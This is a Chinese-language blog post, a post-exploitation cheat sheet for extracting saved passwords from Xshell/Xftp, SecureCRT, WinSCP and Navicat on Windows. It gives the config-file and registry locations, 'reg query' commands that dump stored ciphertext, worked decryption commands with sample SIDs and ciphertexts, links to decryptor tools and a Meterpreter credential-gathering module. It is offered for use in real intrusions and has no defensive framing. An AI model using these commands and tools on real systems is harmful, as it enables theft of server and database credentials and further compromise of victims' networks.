首页 > 其他分享 >配置文件读密码

配置文件读密码

时间:2022-08-26 16:58:29浏览次数:117  
标签:Documents 配置文件 Sessions 密码 https WinSCP com

配置文件读密码

Xshell

工具:how-does-Xmanager-encrypt-password

全版本利用:https://github.com/JDArmy/SharpXDecrypt

位置:

xshell7:    C:\Users\%username%\Documents\NetSarang Computer\7\Xshell\Sessions
xshell6:    C:\Users\%username%\Documents\NetSarang Computer\6\Xshell\Sessions
XShell5:  %userprofile%\Documents\NetSarang\Xshell\Sessions
XFtp5:     %userprofile%\Documents\NetSarang\Xftp\Sessions
XShell6:   %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
XFtp6:      %userprofile%\Documents\NetSarang Computer\6\Xftp\Sessions

利用条件:
1.xln配置文件中的password
2.被攻击用户的当前用户的username与sid,username不用加域名。

解密方式

#查看用户名和sid
whoami /user

#利用用户名、sid对密码进行解密
python3 XShellCryptoHelper.py -d -user Administrator -sid S-1-5-21-917267712-1342860078-1792151419-512 zv21O1x43qRs3c5NckDHvh7ZAvuN1NSJl8ZFL11+UJ+82+KAixa89O3OTAfRTg==
.\SharpXDecrypt.exe

SecureCRT

SecureCRT 的session文件保存在如下位置:

在SecureCRT7或以下的版本中,配置文件中保存的凭证信息如下:

在SecureCRT8中,配置文件中保存的凭证信息如下:

可以看到二者hash长度不一致,版本也有区别,加密算法肯定不一致。

目前已知的SecureCRT7的加密算法,使用了两次Blowfish算法,密钥是硬编码的。

解密脚本:

https://raw.githubusercontent.com/Synacktiv/stuffz/master/VanDyke_SecureCRT_decrypt.py

WinSCP

WinSCP默认安装在C:\Program Files (x86)\WinSCP,其用户凭证可以保存在注册表或者配置文件中。

配置文件则在C:\Program Files (x86)\WinSCP\WinSCP.ini

C:\Users\USERNAME\AppData\Local\VirtualStore\Program Files (x86)\WinSCP\WinSCP.ini

若凭证保存在注册表,可通过修改上图中的配置存储项将凭证存储到文件中。

解密工具或脚本:

https://bitbucket.org/knarf/winscppwd/downloads/winscppwd.exe

https://raw.githubusercontent.com/anoopengineer/winscppasswd/master/main.go

https://raw.githubusercontent.com/YuriMB/WinSCP-Password-Recovery/master/src/main/java/Main.java

注册表查询命令

查询注册表中winscp保存的密文

shell reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions"shell reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\[email protected]"

使用winscppwd.exe进行解密

winscppwd.exe root 192.168.80.164 A35C4A54D144F65B7DF0E8F42E3333286D656E726D6A6472646C726D6A682833332EFA7A248229B891A201911C3F588380D6

msf模块

meterpreter > run post/windows/gather/credentials/winscp

Navicate

Navicat 永远的神,这是实战最常见的一款数据库管理软件。提取过程:

方法一:

1.从注册表中查询host/username/pwd

reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ /s /v host
reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ /s /v username
reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ /s /v pwd 

2.然后使用工具进行解密

https://github.com/HyperSine/how-does-navicat-encrypt-password
python NavicatCipher.py dec 5658213B

方法二:

直接工具一把锁哈
https://github.com/uknowsec/SharpDecryptPwd/raw/master/SharpDecryptPwd.exe

SharpDecryptPwd.exe -NavicatCrypto

cs脚本

https://github.com/pxss/navicatpwd


凭据抓取

标签:Documents,配置文件,Sessions,密码,https,WinSCP,com
From: https://www.cnblogs.com/tomyyyyy/p/16628091.html

相关文章

  • Shell的四种启动方式 配置文件加载
    根据是否需要登录可分为:登录式 非登录式根据是否交互可分为:交互式、非交互式二者组合:登录交互式:常用  通过用户名密码登录shell,或者bash--login新启动的shell登......
  • /etc/fstab 文件挂载配置文件
    (1)/etc/fstab每行定义一个要挂载的文件系统mount-a自动挂载/etc/fstab文件没有挂载的设备,不管已挂载过的设备如果想刷新修改过已挂载的设备,mount-oremount/dev/......
  • pytest框架(六)---配置文件
    pytest的配置文件pytest有哪些非测试文件:pytest.ini:pytest的配置文件,可以改变pytest的默认行为,有很多的可配置的选项。conftest.py:是本地的插件库,其中的hook函数和fixtu......
  • 批量重置SAP用户的初始密码
    系统设定初始密码的有效期是3天,项目组担心用户不能及时重置密码导致密码过期,要求重置所有项目参与人员的初始密码。简单点说,就是帮用户重置初始密码,用初始密码登录系统,系......
  • 重置ArcGIS Server Manager的密码
     重置ArcGISServerManager的密码忘记了ArcGISServerManager的密码,可以采用以下方法进行重置。1、找到ArcGISServer的安装目录E:\ProgramFiles\ArcGIS\Server\too......
  • linux系统配置文件或shell脚本批量注释
    1.配置文件批量注释1.1批量注释①进入命令行模式,按ctrl+v进入visualblock模式,键盘上下箭头选中多行,把需要注释的行标记起来②按大写字母I,再输入注释符:#③双......
  • 密码安全策略
    前言几乎所有的系统都有密码安全要求,这是基础的安全策略,本文记录常用密码安全策略并编写策略校验工具类常用密码安全策略密文存储,通常为MD5加盐......
  • centos查看当前运行进程id,安装目录,配置文件
    以nginx为例#查看进程ps -ef|grepnginxroot922610Aug15?00:00:00nginx:masterprocess/usr/sbin/nginxroot922792260Aug15?00:00:06......
  • 服务器IPMI地址及用户名密码
    HP管理口:ILO默认用户/密码:Administrator/passwordHP以前管理口登陆MP卡通过网线连接MP卡的RJ-45口,通过telnet方式登录,默认用户/密码:Admin/AdminDELL服务器管理口:idac默认账......
  • PHP代码连接Redis,含Redis密码验证、指定某一Redis数据库
    <?php$redis=newRedis();$redis->connect('127.0.0.1',6379);//连接Redis$redis->auth('mypasswords123sdfeak');//密码验证$redis->select(2);//选择......